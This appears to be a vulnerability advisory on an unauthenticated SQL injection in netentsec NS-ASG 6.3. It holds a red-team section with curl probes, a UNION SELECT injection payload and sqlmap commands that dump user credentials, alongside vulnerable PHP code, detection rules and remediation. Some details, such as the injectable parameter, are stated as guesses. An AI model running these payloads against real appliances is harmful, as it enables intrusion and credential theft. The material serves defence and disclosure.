CVE-2024-30871

Executive Summary

CVE-2024-30871 is a critical SQL Injection vulnerability discovered in the netentsec NS-ASG application security gateway, specifically in version 6.3. The flaw resides in the /WebPages/applyhardware.php endpoint, allowing an unauthenticated attacker to inject arbitrary SQL commands. Successful exploitation could lead to unauthorized data access, credential theft, and potential lateral movement within the network. As of this report, no official patch has been released, and the vulnerability is publicly known with proof-of-concept details available.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is a standalone appliance vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (unauthenticated SQL injection), a realistic CVSS v3.1 score would be 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and public exploit code is available.

Deep Dive & Mechanics

The vulnerability exists in the applyhardware.php script, which is part of the NS-ASG web management interface. The script likely processes user-supplied input (e.g., via GET or POST parameters) without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating input fields such as id, name, or other parameters passed to the database.

The injection point is within a SQL query that is executed against the backend database (likely MySQL or MariaDB). By injecting a single quote (') or a SQL comment sequence (--), an attacker can break out of the intended query structure and execute arbitrary SQL statements.

Example vulnerable parameter: id in a GET request like:

/WebPages/applyhardware.php?id=1' OR '1'='1

This could return all records from a table, bypass authentication, or allow data exfiltration.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (PHP):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM hardware WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Hypothetical):

<?php
$id = intval($_GET['id']);
$stmt = $conn->prepare("SELECT * FROM hardware WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements and input validation to prevent SQL injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

• Target: netentsec NS-ASG 6.3 (virtual or physical appliance)
• Attacker: Kali Linux with sqlmap and Burp Suite

Exploitation Steps:

1. Identify the vulnerable parameter:

   curl "http://target/WebPages/applyhardware.php?id=1"
   

2. Test for SQL injection:

   curl "http://target/WebPages/applyhardware.php?id=1'"
   

   Look for database error messages.

3. Automated exploitation with sqlmap:

   sqlmap -u "http://target/WebPages/applyhardware.php?id=1" --batch --dbs
   

4. Manual exploitation example:

   ' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100 --
   

5. Extract admin credentials:

   sqlmap -u "http://target/WebPages/applyhardware.php?id=1" --batch -D nsasg -T users --dump
   

Blue Team (Detection & Response)

Detection Steps:

1. Monitor web server logs for suspicious SQL keywords in GET/POST parameters (e.g., UNION, SELECT, OR 1=1).
2. Enable WAF rules to block SQL injection patterns.
3. Use database activity monitoring to detect anomalous queries.

Response:

1. Isolate the affected appliance from the network.
2. Review logs for data exfiltration attempts.
3. Reset all credentials stored in the database.
4. Apply virtual patching via WAF until an official patch is released.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /WebPages/applyhardware.php with SQL keywords in parameters.
  • Outbound database connections from the NS-ASG to unknown IPs.
  • Unusually large HTTP responses from the vulnerable endpoint.

• File IOCs:

  • Modified or new files in /var/www/html/ (if web root is writable).
  • Suspicious entries in /var/log/apache2/access.log or /var/log/nginx/access.log.

• Log IOCs:

  • Database error logs containing SQL syntax errors.
  • Web server logs with 400 or 500 status codes from the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2024_30871_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30871"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-30871"
    strings:
        $sqli1 = "applyhardware.php" nocase
        $sqli2 = "id=" nocase
        $sqli3 = "UNION" nocase
        $sqli4 = "SELECT" nocase
        $sqli5 = "OR 1=1" nocase
        $sqli6 = "' OR '" nocase
    condition:
        $sqli1 and $sqli2 and ($sqli3 or $sqli4 or $sqli5 or $sqli6)
}

Sigma Rule

title: SQL Injection Attempt Against NS-ASG applyhardware.php
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting CVE-2024-30871
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: 
            - "applyhardware.php"
            - "id="
        cs-uri-query|contains|all:
            - "UNION"
            - "SELECT"
    condition: selection
falsepositives:
    - Legitimate use of UNION SELECT in admin tools
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-30871 SQL Injection Attempt";
    flow:to_server,established;
    content:"applyhardware.php"; http_uri;
    content:"id="; http_uri;
    pcre:"/(UNION|SELECT|OR\s+1=1|'\s+OR)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-30871;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the NS-ASG appliance from untrusted networks.
2. Apply virtual patching using a WAF (e.g., ModSecurity) with rules to block SQL injection patterns.
3. Disable the vulnerable endpoint if not required:

   # In Apache
   <LocationMatch "/WebPages/applyhardware.php">
       Deny from all
   </LocationMatch>
   

Long-term Fix:

• Contact netentsec for an official patch.
• If no patch is available, consider replacing the appliance with a supported alternative.
• Implement input validation and parameterized queries in the application code.

Workaround:

• Restrict access to the web interface via firewall rules to only trusted IPs.
• Use a reverse proxy with WAF capabilities in front of the appliance.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert